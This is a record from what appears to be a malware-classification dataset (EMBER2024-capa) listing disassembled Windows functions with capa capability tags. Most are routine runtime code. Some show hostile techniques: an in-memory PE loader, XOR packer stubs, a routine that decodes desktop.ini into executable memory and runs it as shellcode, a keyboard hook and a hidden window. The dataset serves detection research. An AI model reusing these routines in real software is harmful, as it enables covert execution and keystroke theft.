joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402980
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [eax]
movzx ecx, word [eax + 0x14]
xor edx, edx
push esi
lea esi, [ecx + eax + 0x18]
mov dword [esp + 8], 0
cmp dx, word [eax + 6]
jae 0x402a27
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
add esi, 0x10
mov eax, dword [esi]
test eax, eax
jne 0x4029e2
mov eax, dword [esp + 0x1c]
mov edi, dword [eax + 0x38]
test edi, edi
jle 0x402a0b
mov ecx, dword [esi - 4]
push 4
push 0x1000
push edi
add ecx, ebx
push ecx
call ebp
push edi
push 0
push eax
mov dword [esi - 8], eax
call fcn.004062e0
jmp 0x402a08
mov edx, dword [esi - 4]
push 4
push 0x1000
push eax
add edx, ebx
push edx
call ebp
mov ecx, dword [esi + 4]
add ecx, dword [esp + 0x18]
mov edi, eax
mov eax, dword [esi]
push eax
push ecx
push edi
call fcn.00406900
mov dword [esi - 8], edi
add esp, 0xc
mov edx, dword [esp + 0x20]
mov ecx, dword [edx]
mov eax, dword [esp + 0x10]
movzx edx, word [ecx + 6]
inc eax
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x4029b3
pop edi
pop ebp
pop esi
pop ebx
pop ecx
ret

Function at 0x402a30
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
mov ecx, dword [ebp]
movzx eax, word [ecx + 0x14]
xor edx, edx
xor ebx, ebx
lea eax, [eax + ecx + 0x18]
cmp dx, word [ecx + 6]
jae 0x402abe
push esi
push edi
lea esi, [eax + 0x24]
mov eax, dword [esi]
mov edx, eax
shr edx, 0x1d
mov edi, eax
shr edi, 0x1e
and edi, 1
and edx, 1
lea edx, [edi + edx*2]
mov edi, eax
shr edi, 0x1f
lea edx, [edi + edx*2]
mov edi, dword [edx*4 + 0x412050]
test eax, 0x4000000
je 0x402a81
or edi, 0x200
mov edx, dword [esi - 0x14]
test edx, edx
jne 0x402a9a
test al, 0x40
je 0x402a91
mov edx, dword [ecx + 0x20]
jmp 0x402a98
test al, al
jns 0x402aad
mov edx, dword [ecx + 0x24]
test edx, edx
jbe 0x402aad
mov ecx, dword [esi - 0x1c]
lea eax, [esp + 0x14]
push eax
push edi
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp]
movzx edx, word [ecx + 6]
inc ebx
add esi, 0x28
cmp ebx, edx
jl 0x402a50
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x402c70
Capabilities:
Parse pe header
Read file on windows

Disassembly:
push ecx
push ebp
push esi
push edi
push 2
mov esi, eax
push 0
push esi
call fcn.00403776
push esi
call fcn.00403b5a
mov edi, eax
push edi
call fcn.00402fef
push 0
push 0
push esi
mov ebp, eax
call fcn.00403776
push esi
push edi
push 1
push ebp
call fcn.00403480
push esi
call fcn.00403872
mov eax, 0x5a4d
add esp, 0x34
cmp word [ebp], ax
je 0x402cbf
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
push ebx
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
jne 0x402dbb
mov ecx, dword [ebx + 0x50]
mov edx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push ecx
push edx
call esi
mov edi, eax
test edi, edi
jne 0x402d06
mov eax, dword [ebx + 0x50]
push 4
push 0x2000
push eax
push edi
call esi
mov edi, eax
test edi, edi
je 0x402dbb
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov ecx, dword [ebx + 0x50]
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebx + 0x54]
push 4
push 0x1000
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
add ecx, dword [ebp + 0x3c]
mov dword [esp + 0x10], eax
push ecx
push ebp
push eax
call fcn.00406900
mov edx, dword [ebp + 0x3c]
mov eax, dword [esp + 0x1c]
push esi
add eax, edx
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.00402980
mov eax, edi
add esp, 0x18
sub eax, dword [ebx + 0x34]
je 0x402d88
push eax
mov eax, esi
call fcn.00402ad0
add esp, 4
push esi
call fcn.00402b50
add esp, 4
test eax, eax
je 0x402db6
push esi
call fcn.00402a30
mov ecx, dword [esi]
mov eax, dword [ecx + 0x28]
add esp, 4
test eax, eax
je 0x402dca
add eax, edi
je 0x402db6
push 0
push 1
push edi
call eax
test eax, eax
jne 0x402dc3
call fcn.00402e80
pop ebx
pop edi
pop esi
xor eax, eax
pop ebp
pop ecx
ret
mov dword [esi + 0x10], 1
pop ebx
pop edi
mov eax, esi
pop esi
pop ebp
pop ecx
ret

Function at 0x4081d5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411618]
jne 0x4081df
repz ret
jmp fcn.0040b3c4
Function at 0x4085d8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004063cc
and dword [ebp - 4], 0
cmp dword [0x41281c], 0
mov ebx, eax
jne 0x408689
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40873a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40873a
push eax
call fcn.0040635a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x41281c], eax
call esi
push eax
call fcn.0040635a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x412820], eax
call esi
push eax
call fcn.0040635a
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x412824], eax
call esi
push eax
call fcn.0040635a
pop ecx
mov dword [0x41282c], eax
test eax, eax
je 0x408689
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040635a
pop ecx
mov dword [0x412828], eax
mov eax, dword [0x412828]
cmp eax, ebx
je 0x4086e1
cmp dword [0x41282c], ebx
je 0x4086e1
push eax
call fcn.004063d5
push dword [0x41282c]
mov esi, eax
call fcn.004063d5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4086e1
test edi, edi
je 0x4086e1
call esi
test eax, eax
je 0x4086d8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4086d8
test byte [ebp - 0xc], 1
jne 0x4086e1
or dword [ebp + 0x10], 0x200000
jmp 0x40871a
mov eax, dword [0x412820]
cmp eax, ebx
je 0x40871a
push eax
call fcn.004063d5
pop ecx
test eax, eax
je 0x40871a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40871a
mov eax, dword [0x412824]
cmp eax, ebx
je 0x40871a
push eax
call fcn.004063d5
pop ecx
test eax, eax
je 0x40871a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41281c]
call fcn.004063d5
pop ecx
test eax, eax
je 0x40873a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40873c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
push esi
push edi
mov edi, dword [esp + 0x1c]
cmp edi, 1
mov dword [esp + 8], str.MySqlWatch
mov dword [esp + 0xc], 0x401110
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
jle 0x4010a7
mov esi, dword [esp + 0x20]
mov ecx, dword [esi + 4]
mov al, byte [ecx]
cmp al, 0x2d
je 0x40103f
cmp al, 0x2f
jne 0x4010a7
inc ecx
push ecx
push str.install
call fcn.00406110
add esp, 8
test eax, eax
jne 0x401059
call fcn.004012e0
jmp 0x4010a0
mov eax, dword [esi + 4]
inc eax
push eax
push str.remove
call fcn.00406110
add esp, 8
test eax, eax
jne 0x401076
call fcn.004013f0
jmp 0x4010a0
mov ecx, dword [esi + 4]
inc ecx
push ecx
push str.debug
call fcn.00406110
add esp, 8
test eax, eax
jne 0x4010a7
push esi
push edi
mov dword [0x40abb4], 1
call fcn.00401640
add esp, 8
push 0
call fcn.0040186e
push str.mysqlwatch
push str._s__install__________to_install_the_service_n
call fcn.00401810
push str.mysqlwatch
push str._s__remove___________to_remove_the_service_n
call fcn.00401810
push str.mysqlwatch
push str._s__debug__params____to_run_as_a_console_app_for_debugging_n
call fcn.00401810
push str._nStartServiceCtrlDispatcher_being_called._n
call fcn.00401810
push str.This_may_take_several_seconds.__Please_wait._n
call fcn.00401810
add esp, 0x20
lea edx, [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x401107
push str.StartServiceCtrlDispatcher_failed.
call fcn.00401250
add esp, 4
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret

Function at 0x401250
Capabilities:
Access the windows event log

Disassembly:
mov eax, dword [0x40abb4]
sub esp, 0x108
test eax, eax
push esi
jne 0x4012cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.MySqlWatch
push 0
mov dword [0x40abb0], eax
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov esi, eax
mov eax, dword [0x40abb0]
push eax
push str.MySqlWatch
lea ecx, [esp + 0x14]
push str._s_error:__d
push ecx
call fcn.00401943
mov eax, dword [esp + 0x120]
add esp, 0x10
test esi, esi
lea edx, [esp + 0xc]
mov dword [esp + 4], edx
mov dword [esp + 8], eax
je 0x4012cf
push 0
lea ecx, [esp + 8]
push ecx
push 0
push 2
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
add esp, 0x108
ret
Function at 0x4012e0
Capabilities:
Create service

Disassembly:
sub esp, 0x200
push edi
push 0x200
lea eax, [esp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401327
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.MySqlWatch
push str.Unable_to_install__s____s_n
call fcn.00401810
add esp, 0x14
pop edi
add esp, 0x200
ret
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x4013c8
push ebx
push esi
push 0
push 0
push 0x40abbc
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
push 1
push 3
push 0x10
push 0xf01ff
push str.MySqlWatch
push str.MySqlWatch
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x40139e
push str.MySqlWatch
push str._s_installed._n
call fcn.00401810
add esp, 8
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x200
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.CreateService_failed____s_n
call fcn.00401810
add esp, 0x10
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x200
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.OpenSCManager_failed____s_n
call fcn.00401810
add esp, 0x10
pop edi
add esp, 0x200
ret
Function at 0x4013f0
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x401540
push esi
push 0xf01ff
push str.MySqlWatch
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x401519
push 0x40ae80
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4014bd
push ebx
push edi
push str.MySqlWatch
push str.Stopping__s.
call fcn.00401810
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x40ae80
push esi
call ebx
test eax, eax
je 0x401499
nop
cmp dword [0x40ae84], 3
jne 0x401499
push 0x408274
call fcn.00401810
add esp, 4
push 0x3e8
call edi
push 0x40ae80
push esi
call ebx
test eax, eax
jne 0x401470
cmp dword [0x40ae84], 1
pop edi
pop ebx
push str.MySqlWatch
jne 0x4014b0
push str._n_s_stopped._n
jmp 0x4014b5
push str._n_s_failed_to_stop._n
call fcn.00401810
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x4014eb
push str.MySqlWatch
push str._s_removed._n
call fcn.00401810
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.DeleteService_failed____s_n
call fcn.00401810
add esp, 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.OpenService_failed____s_n
call fcn.00401810
add esp, 0x10
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.OpenSCManager_failed____s_n
call fcn.00401810
add esp, 0x10
pop ebp
ret

Function at 0x401560
Capabilities:
Access the windows event log
Start service

Disassembly:
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x401610
mov eax, dword [esp + 8]
push ebx
push esi
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4015cd
push 0x40ae80
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x4015c3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x426
jne 0x4015c3
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.OpenService_failed____s_n
call fcn.00401810
push str.OpenService...
call fcn.00401250
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
call fcn.00401250
add esp, 0x20
push edi
call ebx
pop esi
pop ebx
pop edi
ret
push 0x100
push 0x40ad80
call fcn.004016a0
push eax
push str.OpenSCManager_failed____s_n
call fcn.00401810
add esp, 0x10
pop edi
mov dword [esp + 4], str.OpenSCMManager..
jmp fcn.00401250
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x7f31350c
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x2b33577
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40197d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401990
push esp
mov dword [ebp - 0x24], 0x4016f4
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a2f
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a10
pop ebp
ret 0x10

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
mov ecx, 0x30c24666
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
mov ecx, 0x128e0763
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4019ca
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
jmp 0x4019ff
mov ecx, dword [edx + 0xc]
cmp dword [ebp + 0xc], ecx
jb 0x4019fc
mov eax, dword [edx + 8]
add eax, ecx
cmp dword [ebp + 0xc], eax
jb 0x401a08
add edx, 0x28
cmp edx, esi
jne 0x4019ea
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x401a05

Function at 0x401e77
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401eb6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401eb6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401eb6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401eb6
cmp dword [ecx + 0x74], 0xe
jbe 0x401eb6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40ab48
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40abe5
push ebx
push esi
call fcn.0040ab11
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040aaa5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40ab92
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40abe4
push edi
push eax
call fcn.00407a65
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40abb2
call fcn.00407a2b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40abe3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040aaa5
add esp, 0x20
test eax, eax
jne 0x40abd1
push edi
call fcn.00407a2b
jmp 0x40abd9
push ebx
call fcn.00407a2b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40b8a1
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415380
push 0x415378
push str.FlsAlloc
push 0x1f
call fcn.0040b7bd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b8d5
push dword [ebp + 8]
mov ecx, esi
call dword [0x413174]
call esi
jmp 0x40b8db
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40b91f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415390
push 0x415388
push str.FlsGetValue
push 0x21
call fcn.0040b7bd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b956
push dword [ebp + 8]
mov ecx, esi
call dword [0x413174]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40b95e
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415398
push 0x415390
push str.FlsSetValue
push 0x22
call fcn.0040b7bd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b998
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x413174]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x412710
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41273d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41273d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x42448f
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov al, byte [0x6366d0]
cmp eax, 1
jne 0x4244a0
jmp 0x4244cf
call fcn.00424395
and eax, 0xff
test eax, eax
je 0x4244b0
jmp 0x4244c8
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x4243e4
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x6366cc], eax
mov byte [0x6366d0], 1
pop ebp
ret
Function at 0x424ee8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov ecx, 0x20000
sub ecx, dword [eax + 0x10]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0xc]
add ecx, dword [edx + 0x10]
push ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push ecx
call sub.WSOCK32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x424f2a
xor eax, eax
jmp 0x424f4b
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 4]
jne 0x424f37
or eax, 0xffffffff
jmp 0x424f4b
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x10]
add ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x10], ecx
mov eax, 1
mov esp, ebp
pop ebp
ret